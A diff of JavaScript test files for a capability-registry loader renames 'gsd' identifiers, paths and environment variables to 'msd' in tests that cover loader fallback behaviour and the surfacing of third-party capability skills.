@@ -1108,7 +1108,7 @@ describe('loadRegistry — #1461 OVL-1: a throwing cross-capability validator sk
|
||||
// escapes loadRegistry → assert.doesNotThrow fails (loadRegistry throws and crashes the loop).
|
||||
let reg;
|
||||
assert.doesNotThrow(() => {
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
}, 'a throwing cross-capability validator must NOT crash loadRegistry');
|
||||
|
||||
// The throwing candidate is dropped with a warning; the second valid overlay still loads.
|
||||
@@ -1153,7 +1153,7 @@ describe('loadRegistry — #1461 OVL-2: a throwing buildRegistry falls back to f
|
||||
// escapes loadRegistry → assert.doesNotThrow fails (loadRegistry throws and crashes the loop).
|
||||
let reg;
|
||||
assert.doesNotThrow(() => {
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
}, 'a throwing buildRegistry must NOT crash loadRegistry');
|
||||
|
||||
// Falls back to the frozen first-party base: every first-party capability is present and the
|
||||
@@ -1192,7 +1192,7 @@ describe('loadRegistry — #1461 OVL-2: a throwing buildRegistry falls back to f
|
||||
|
||||
let reg;
|
||||
assert.doesNotThrow(() => {
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
}, 'a throwing buildRegistry must NOT crash loadRegistry');
|
||||
|
||||
// Fell back to first-party (the overlay surfaces are gone)...
|
||||
@@ -1218,7 +1218,7 @@ describe('loadRegistry — #1461 OVL-2: a throwing buildRegistry falls back to f
|
||||
const home = fs.mkdtempSync(path.join(os.tmpdir(), 'cap-ovl2-cmdroot-'));
|
||||
t.after(() => { _setGeneratorForTest(null); cleanup(home); });
|
||||
const id = 'ovl2-cmd-cap';
|
||||
const dir = path.join(home, '.gsd', 'capabilities', id);
|
||||
const dir = path.join(home, '.msd', 'capabilities', id);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(
|
||||
path.join(dir, 'capability.json'),
|
||||
@@ -1231,7 +1231,7 @@ describe('loadRegistry — #1461 OVL-2: a throwing buildRegistry falls back to f
|
||||
// A committed (non-_pending, structurally-valid per isValidLedgerEntry) ledger entry so the loader
|
||||
// populates commandRoots[id] — requires id/version/source/integrity strings + files[] + sharedEdits[].
|
||||
fs.writeFileSync(
|
||||
path.join(home, '.gsd-capabilities.json'),
|
||||
path.join(home, '.msd-capabilities.json'),
|
||||
JSON.stringify({ version: 1, updatedAt: '2026-01-01T00:00:00.000Z', entries: { [id]: { id, version: '1.0.0', source: 'local', integrity: '', files: [], sharedEdits: [] } } }),
|
||||
'utf8',
|
||||
);
|
||||
@@ -1245,7 +1245,7 @@ describe('loadRegistry — #1461 OVL-2: a throwing buildRegistry falls back to f
|
||||
|
||||
let reg;
|
||||
assert.doesNotThrow(() => {
|
||||
reg = loadRegistry({ includeInstalled: true, gsdHome: home, cwd: home, hostVersion: HOST });
|
||||
reg = loadRegistry({ includeInstalled: true, msdHome: home, cwd: home, hostVersion: HOST });
|
||||
}, 'a throwing buildRegistry must NOT crash loadRegistry');
|
||||
|
||||
// The overlay is dropped (compose threw) AND its command root is cleared in the fallback meta.
|
||||
@@ -1372,7 +1372,7 @@ describe('loadRegistry — #1461 finding 1: a throwing per-candidate validator s
|
||||
*
|
||||
* D1 (materialization): resolveSurface built the `skills` Set only from the
|
||||
* on-disk skill manifest; third-party cap skills live at
|
||||
* ~/.gsd/capabilities/<id>/skills/ and never entered the Set → surfaced:false.
|
||||
* ~/.msd/capabilities/<id>/skills/ and never entered the Set → surfaced:false.
|
||||
* FIX: union registry.capabilityClusters values into the Set.
|
||||
* D2 (enable/set unknown): setCapabilityState validated the capId against the
|
||||
* STATIC first-party registry instead of the composed overlay-aware registry.
|
||||
@@ -1397,12 +1397,12 @@ const fs = require('node:fs');
|
||||
const os = require('node:os');
|
||||
const path = require('node:path');
|
||||
|
||||
const { runGsdTools, cleanup } = require('./helpers.cjs');
|
||||
const { runMsdTools, cleanup } = require('./helpers.cjs');
|
||||
|
||||
const { resolveCapabilityRuntimeState } = require('../gsd-core/bin/lib/capability-state.cjs');
|
||||
const { setCapabilityState } = require('../gsd-core/bin/lib/capability-writer.cjs');
|
||||
const { resolveSurface } = require('../gsd-core/bin/lib/surface.cjs');
|
||||
const { loadRegistry } = require('../gsd-core/bin/lib/capability-loader.cjs');
|
||||
const { resolveCapabilityRuntimeState } = require('../msd-core/bin/lib/capability-state.cjs');
|
||||
const { setCapabilityState } = require('../msd-core/bin/lib/capability-writer.cjs');
|
||||
const { resolveSurface } = require('../msd-core/bin/lib/surface.cjs');
|
||||
const { loadRegistry } = require('../msd-core/bin/lib/capability-loader.cjs');
|
||||
|
||||
// ─── Fixture helpers ─────────────────────────────────────────────────────────
|
||||
|
||||
@@ -1428,7 +1428,7 @@ function skillsOnlyCap(id, skills) {
|
||||
description: 'skills-only third-party capability (issue #2045 fixture)',
|
||||
tier: 'full',
|
||||
requires: [],
|
||||
engines: { gsd: HOST_RANGE },
|
||||
engines: { msd: HOST_RANGE },
|
||||
runtimeCompat: { supported: ['*'], unsupported: [] },
|
||||
skills,
|
||||
agents: [],
|
||||
@@ -1440,9 +1440,9 @@ function skillsOnlyCap(id, skills) {
|
||||
};
|
||||
}
|
||||
|
||||
/** Write a global-scope overlay bundle at <home>/.gsd/capabilities/<id>/. */
|
||||
/** Write a global-scope overlay bundle at <home>/.msd/capabilities/<id>/. */
|
||||
function writeGlobalBundle(home, id, skills) {
|
||||
const dir = path.join(home, '.gsd', 'capabilities', id);
|
||||
const dir = path.join(home, '.msd', 'capabilities', id);
|
||||
fs.mkdirSync(dir, { recursive: true });
|
||||
fs.writeFileSync(path.join(dir, 'capability.json'), JSON.stringify(skillsOnlyCap(id, skills)), 'utf8');
|
||||
// Materialize each declared skill so the bundle mirrors a real install.
|
||||
@@ -1454,7 +1454,7 @@ function writeGlobalBundle(home, id, skills) {
|
||||
return dir;
|
||||
}
|
||||
|
||||
/** A temp runtime config dir with NO .gsd-profile marker → default 'full' profile. */
|
||||
/** A temp runtime config dir with NO .msd-profile marker → default 'full' profile. */
|
||||
function makeRcd() {
|
||||
return tmpDir('issue2045-rcd-');
|
||||
}
|
||||
@@ -1467,12 +1467,12 @@ function makeCwd() {
|
||||
return cwd;
|
||||
}
|
||||
|
||||
/** GSD_HOME-sandboxed env that also neutralizes ambient GSD_ vars (hermeticity). */
|
||||
/** MSD_HOME-sandboxed env that also neutralizes ambient MSD_ vars (hermeticity). */
|
||||
function scopeEnv(home) {
|
||||
return { GSD_HOME: home, GSD_WORKSTREAM: '', GSD_PROJECT: '' };
|
||||
return { MSD_HOME: home, MSD_WORKSTREAM: '', MSD_PROJECT: '' };
|
||||
}
|
||||
|
||||
const savedGsdHome = process.env.GSD_HOME;
|
||||
const savedMsdHome = process.env.MSD_HOME;
|
||||
|
||||
// ─── AC1 [D1]: resolveSurface unions registry.capabilityClusters ─────────────
|
||||
|
||||
@@ -1482,10 +1482,10 @@ describe('issue #2045 AC1 — resolveSurface includes third-party cap skills [D1
|
||||
writeGlobalBundle(home, CAP_ID, CAP_SKILLS);
|
||||
const rcd = makeRcd();
|
||||
const cwd = makeCwd();
|
||||
process.env.GSD_HOME = home;
|
||||
process.env.MSD_HOME = home;
|
||||
try {
|
||||
// Composed overlay-aware registry (the loader composes ACTIVE overlay caps).
|
||||
const registry = loadRegistry({ includeInstalled: true, cwd, gsdHome: home });
|
||||
const registry = loadRegistry({ includeInstalled: true, cwd, msdHome: home });
|
||||
const clusters = (registry && registry.capabilityClusters) || {};
|
||||
assert.ok(Array.isArray(clusters[CAP_ID]), `fixture cap "${CAP_ID}" must own skills in capabilityClusters (loader did not accept the overlay — check engines/validation)`);
|
||||
|
||||
@@ -1502,7 +1502,7 @@ describe('issue #2045 AC1 — resolveSurface includes third-party cap skills [D1
|
||||
);
|
||||
}
|
||||
} finally {
|
||||
process.env.GSD_HOME = savedGsdHome;
|
||||
process.env.MSD_HOME = savedMsdHome;
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -1515,7 +1515,7 @@ describe('issue #2045 AC2 — capability state reports surfaced:true', () => {
|
||||
writeGlobalBundle(home, CAP_ID, CAP_SKILLS);
|
||||
const rcd = makeRcd();
|
||||
const cwd = makeCwd();
|
||||
process.env.GSD_HOME = home;
|
||||
process.env.MSD_HOME = home;
|
||||
try {
|
||||
const state = resolveCapabilityRuntimeState(cwd, rcd);
|
||||
const cap = state.capabilities.find((c) => c.id === CAP_ID);
|
||||
@@ -1525,7 +1525,7 @@ describe('issue #2045 AC2 — capability state reports surfaced:true', () => {
|
||||
// No activationKey on the fixture → active === enabled.
|
||||
assert.equal(cap.active, true, 'AC2: active must be true (no config gate)');
|
||||
} finally {
|
||||
process.env.GSD_HOME = savedGsdHome;
|
||||
process.env.MSD_HOME = savedMsdHome;
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -1538,7 +1538,7 @@ describe('issue #2045 AC3 — enable/set accepts an installed third-party cap [D
|
||||
writeGlobalBundle(home, CAP_ID, CAP_SKILLS);
|
||||
const rcd = makeRcd();
|
||||
const cwd = makeCwd();
|
||||
process.env.GSD_HOME = home;
|
||||
process.env.MSD_HOME = home;
|
||||
try {
|
||||
const result = setCapabilityState(cwd, rcd, [{ id: CAP_ID, enabled: true }]);
|
||||
const unknownErr = (result.errors || []).find((e) => /unknown capability/i.test(String(e)));
|
||||
@@ -1546,7 +1546,7 @@ describe('issue #2045 AC3 — enable/set accepts an installed third-party cap [D
|
||||
const cap = (result.capabilities || []).find((c) => c.id === CAP_ID);
|
||||
assert.ok(cap, 'AC3: result must include the third-party cap');
|
||||
} finally {
|
||||
process.env.GSD_HOME = savedGsdHome;
|
||||
process.env.MSD_HOME = savedMsdHome;
|
||||
}
|
||||
});
|
||||
|
||||
@@ -1554,13 +1554,13 @@ describe('issue #2045 AC3 — enable/set accepts an installed third-party cap [D
|
||||
const rcd = makeRcd();
|
||||
const cwd = makeCwd();
|
||||
const home = tmpDir('issue2045-home-empty-');
|
||||
process.env.GSD_HOME = home;
|
||||
process.env.MSD_HOME = home;
|
||||
try {
|
||||
const result = setCapabilityState(cwd, rcd, [{ id: 'nonexistent-cap-2045', enabled: true }]);
|
||||
const unknownErr = (result.errors || []).find((e) => /unknown capability/i.test(String(e)));
|
||||
assert.ok(unknownErr, 'AC5: truly-unknown id must still be rejected (writer validates against composed registry, not "accept all")');
|
||||
} finally {
|
||||
process.env.GSD_HOME = savedGsdHome;
|
||||
process.env.MSD_HOME = savedMsdHome;
|
||||
}
|
||||
});
|
||||
|
||||
@@ -1568,14 +1568,14 @@ describe('issue #2045 AC3 — enable/set accepts an installed third-party cap [D
|
||||
const rcd = makeRcd();
|
||||
const cwd = makeCwd();
|
||||
const home = tmpDir('issue2045-home-empty-');
|
||||
process.env.GSD_HOME = home;
|
||||
process.env.MSD_HOME = home;
|
||||
try {
|
||||
const state = resolveCapabilityRuntimeState(cwd, rcd);
|
||||
// 'ui' is a first-party skill-owning capability; it must still be present.
|
||||
const ui = state.capabilities.find((c) => c.id === 'ui');
|
||||
assert.ok(ui, 'AC5: first-party "ui" capability still present');
|
||||
} finally {
|
||||
process.env.GSD_HOME = savedGsdHome;
|
||||
process.env.MSD_HOME = savedMsdHome;
|
||||
}
|
||||
});
|
||||
});
|
||||
@@ -1598,11 +1598,11 @@ describe('issue #2045 AC4 — capability list reflects surface state [D3]', () =
|
||||
fs.writeFileSync(path.join(skillDir, 'SKILL.md'), `---\ndescription: ${stem}\n---\n# ${stem}\n`, 'utf8');
|
||||
}
|
||||
|
||||
const installRes = runGsdTools(['capability', 'install', src, '--scope', 'global', '--raw'], cwd, scopeEnv(home));
|
||||
const installRes = runMsdTools(['capability', 'install', src, '--scope', 'global', '--raw'], cwd, scopeEnv(home));
|
||||
assert.equal(installRes.success, true, `install failed: ${installRes.error || installRes.output}`);
|
||||
|
||||
// capability list --json must include a `surfaced` field for the overlay row.
|
||||
const listRes = runGsdTools(['capability', 'list', '--json'], cwd, scopeEnv(home));
|
||||
const listRes = runMsdTools(['capability', 'list', '--json'], cwd, scopeEnv(home));
|
||||
assert.equal(listRes.success, true, `list failed: ${listRes.error || listRes.output}`);
|
||||
const listRows = JSON.parse(listRes.output);
|
||||
const listRow = listRows.find((r) => r.id === CAP_ID);
|
||||
@@ -1614,7 +1614,7 @@ describe('issue #2045 AC4 — capability list reflects surface state [D3]', () =
|
||||
assert.equal(listRow.surfaced, true, 'AC4: list surfaced === true (skills resolved via registry union)');
|
||||
|
||||
// capability state <id> --json must agree.
|
||||
const stateRes = runGsdTools(['capability', 'state', CAP_ID, '--json'], cwd, scopeEnv(home));
|
||||
const stateRes = runMsdTools(['capability', 'state', CAP_ID, '--json'], cwd, scopeEnv(home));
|
||||
assert.equal(stateRes.success, true, `state failed: ${stateRes.error || stateRes.output}`);
|
||||
const stateObj = JSON.parse(stateRes.output);
|
||||
const stateCap = (stateObj.capabilities || []).find((c) => c.id === CAP_ID);
|
||||
|
||||
Reference in New Issue
Block a user